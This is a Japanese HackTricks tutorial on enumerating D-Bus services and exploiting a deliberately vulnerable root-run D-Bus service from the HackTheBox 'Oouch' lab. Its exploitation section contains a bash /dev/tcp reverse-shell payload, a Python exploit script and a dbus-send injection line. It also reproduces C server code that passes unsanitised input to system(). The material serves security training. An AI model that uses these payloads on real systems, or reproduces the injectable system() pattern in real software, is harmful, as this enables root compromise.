D-Bus Enumeration & Command Injection Privilege Escalation

**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

GUI列挙

Ubuntuデスクトップ環境では、D-Busがプロセス間通信(IPC)の仲介者として使用されています。Ubuntuでは、複数のメッセージバスが同時に動作しており、システムバスは特権のあるサービスがシステム全体で利用するサービスを公開するために主に使用され、ログインしているユーザーごとにセッションバスがあり、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権昇格を目的としているため、特権の高い権限(たとえば、root)で実行されているサービスに関連するシステムバスに焦点を当てています。D-Busのアーキテクチャでは、セッションバスごとに「ルーター」が使用され、クライアントメッセージをクライアントが通信したいサービスに基づいて適切なサービスにリダイレクトする責任があります。

D-Bus上のサービスは、それらが公開するオブジェクトインターフェースによって定義されます。オブジェクトは、標準のOOP言語のクラスインスタンスに似ており、各インスタンスはオブジェクトパスによって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的の主要なインターフェースは、org.freedesktop.DBus.Introspectableインターフェースで、単一のメソッドであるIntrospectを備えています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返しますが、ここではプロパティとシグナルを省略してメソッドに焦点を当てています。

D-Busインターフェースとの通信には、2つのツールが使用されました:gdbusというCLIツールは、スクリプトでD-Busによって公開されたメソッドを簡単に呼び出すために使用され、D-Feetは、各バスで利用可能なサービスを列挙し、各サービスに含まれるオブジェクトを表示するためのPythonベースのGUIツールです。

sudo apt-get install d-feet

最初の画像では、D-Busシステムバスに登録されたサービスが表示され、System Busボタンを選択した後に特にorg.debin.aptが強調表示されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択したオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これは第二の画像で見られます。各メソッドのシグネチャも詳細に表示されます。

注目すべき特徴は、サービスのプロセスID(pid)とコマンドラインの表示です。これは、サービスが昇格された権限で実行されているかどうかを確認するのに役立ち、研究の関連性に重要です。

D-Feetはまたメソッドの呼び出しを許可します:ユーザーはPython式をパラメーターとして入力でき、D-FeetはこれをD-Busタイプに変換してからサービスに渡します。

ただし、一部のメソッドは認証が必要で、それらを呼び出す前に認証する必要があります。私たちの目標は、まずは資格情報なしで特権を昇格させることなので、これらのメソッドは無視します。

また、一部のサービスは、特定のアクションを実行することが許可されるべきかどうかをユーザーに尋ねる別のD-Busサービスであるorg.freedeskto.PolicyKit1をクエリします。

Cmd line列挙

サービスオブジェクトのリスト

次のように開かれたD-Busインターフェースをリストアップすることが可能です:

busctl list #List D-Bus interfaces

NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
:1.0                                     1 systemd         root             :1.0          init.scope                -
:1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
:1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
:1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
:1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
:1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
:1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv… -
:1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
org.bluez                                - -               -                (activatable) -                         -
org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
org.freedesktop.PackageKit               - -               -                (activatable) -                         -
org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
org.freedesktop.hostname1                - -               -                (activatable) -                         -
org.freedesktop.locale1                  - -               -                (activatable) -                         -

接続

ウィキペディアより: プロセスがバスに接続を設定すると、バスはその接続に ユニーク接続名 と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変です — 接続が存在する限り変更されないことが保証されており、さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのようなユニーク接続名が割り当てられることはありません。ユニーク接続名は、それらが—通常禁止されている—コロン文字で始まるため、簡単に認識できます。

サービスオブジェクト情報

次に、インターフェイスに関するいくつかの情報を取得できます:

busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read

サービスオブジェクトのインターフェースをリストアップする

十分な権限が必要です。

busctl tree htb.oouch.Block #Get Interfaces of the service object

└─/htb
└─/htb/oouch
└─/htb/oouch/Block

サービスオブジェクトのインターフェースを調査する

この例では、treeパラメータを使用して最新のインターフェースが選択されたことに注意してください(前のセクションを参照)。

busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface

NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block                     interface -         -            -
.Block                              method    s         s            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
org.freedesktop.DBus.Peer           interface -         -            -
.GetMachineId                       method    -         s            -
.Ping                               method    -         -            -
org.freedesktop.DBus.Properties     interface -         -            -
.Get                                method    ss        v            -
.GetAll                             method    s         a{sv}        -
.Set                                method    ssv       -            -
.PropertiesChanged                  signal    sa{sv}as  -            -

モニター/キャプチャーインターフェース

十分な権限があれば(send_destinationreceive_sender権限だけでは不十分)、D-Bus通信をモニターすることができます。

通信をモニターするにはroot権限が必要です。rootであるにもかかわらず問題が発生する場合は、https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/https://wiki.ubuntu.com/DebuggingDBus を確認してください。

D-Bus構成ファイルを構成して非rootユーザーが通信をスニッフィングできるようにする方法をご存知の場合は、お知らせください

モニターするための異なる方法:

sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see

以下の例では、インターフェース htb.oouch.Block が監視され、"lalalalal" というメッセージが誤った通信経由で送信されます。

busctl monitor htb.oouch.Block

Monitoring bus message stream.
 Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};

 Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
Sender=:1.3  Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};

すべてのノイズをフィルタリングする

バス上に情報が多すぎる場合は、次のように一致ルールを渡します:

dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"

複数のルールを指定できます。メッセージがルールのいずれかに一致すると、そのメッセージが表示されます。次のように:

dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
dbus-monitor "type=method_call" "type=method_return" "type=error"

参考: D-Busドキュメント でマッチルール構文に関する詳細情報を確認してください。

その他

busctl にはさらに多くのオプションがあります。こちらですべてを見つける

脆弱性シナリオ

ユーザー HTBのホスト"oouch"内のqtc として、/etc/dbus-1/system.d/htb.oouch.Block.conf にある 予期しないD-Bus構成ファイル を見つけることができます。

<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>

前の設定から、このD-BUS通信を介して情報を送受信するには、ユーザーrootまたはwww-dataである必要があることに注意してください。

Dockerコンテナaeb4525789d8内のユーザーqtcとして、ファイル_/code/oouch/routes.py_にいくつかのdbus関連コードが見つかります。興味深いコードは次のとおりです:

if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
As you can see, it is **D-Busインターフェースに接続** し、"Block" 関数に "client_ip" を送信しています。

D-Bus接続のもう一方には、いくつかのCコンパイルされたバイナリが実行されています。このコードは、D-Bus接続でIPアドレスを受信し、`system` 関数を介してiptablesを呼び出して指定されたIPアドレスをブロックしています。\
`system` への呼び出しは、意図的にコマンドインジェクションの脆弱性があります。そのため、次のようなペイロードを使用すると、リバースシェルが作成されます: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`

### 悪用方法

このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、**`D-Busオブジェクトパス`** と **`インターフェース名`** が **登録** されている91-97行の間に見つけることができます。この情報は、D-Bus接続に情報を送信するために必要になります:
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);

また、57行目では、このD-Bus通信に登録されている唯一のメソッドBlockと呼ばれていることがわかります(そのため、次のセクションではペイロードがhtb.oouch.Blockサービスオブジェクト、/htb/oouch/Blockインターフェース、およびBlockメソッド名に送信される):

SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),

Python

以下のPythonコードは、block_iface.Block(runme)を介してBlockメソッドにペイロードをD-Bus接続に送信します(前のコードチャンクから抽出されたことに注意してください):

import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()

busctlとdbus-send

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
  • dbus-sendは「メッセージバス」にメッセージを送信するためのツールです。

  • メッセージバス - システム間の通信を容易にするためにシステムが使用するソフトウェアです。メッセージキューに関連しています(メッセージは順番に並んでいます)が、メッセージバスではメッセージが購読モデルで送信され、非常に迅速です。

  • "-system"タグは、デフォルトではなくシステムメッセージであることを示すために使用されます。

  • "--print-reply"タグは、メッセージを適切に出力し、人間が読める形式で返信を受け取ります。

  • "--dest=Dbus-Interface-Block" - Dbusインターフェースのアドレスです。

  • "--string:" - インターフェースに送信したいメッセージのタイプです。ダブル、バイト、ブール値、整数、オブジェクトパスなど、メッセージを送信するためのいくつかのフォーマットがあります。この中で、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したい場合に便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。"string:;" - これは、再びオブジェクトパスを呼び出すためのもので、FIFOリバースシェルファイル/コマンドの場所を置く場所です。

htb.oouch.Block.Blockでは、最初の部分(htb.oouch.Block)がサービスオブジェクトを参照し、最後の部分(.Block)がメソッド名を参照しています。

Cコード

d-bus_server.c
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
*      argc            (int)             Number of arguments, not required
*      argv[]          (char**)          Argument array, not required
*
* Returns:
*      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
*      as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

参考文献

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

Last updated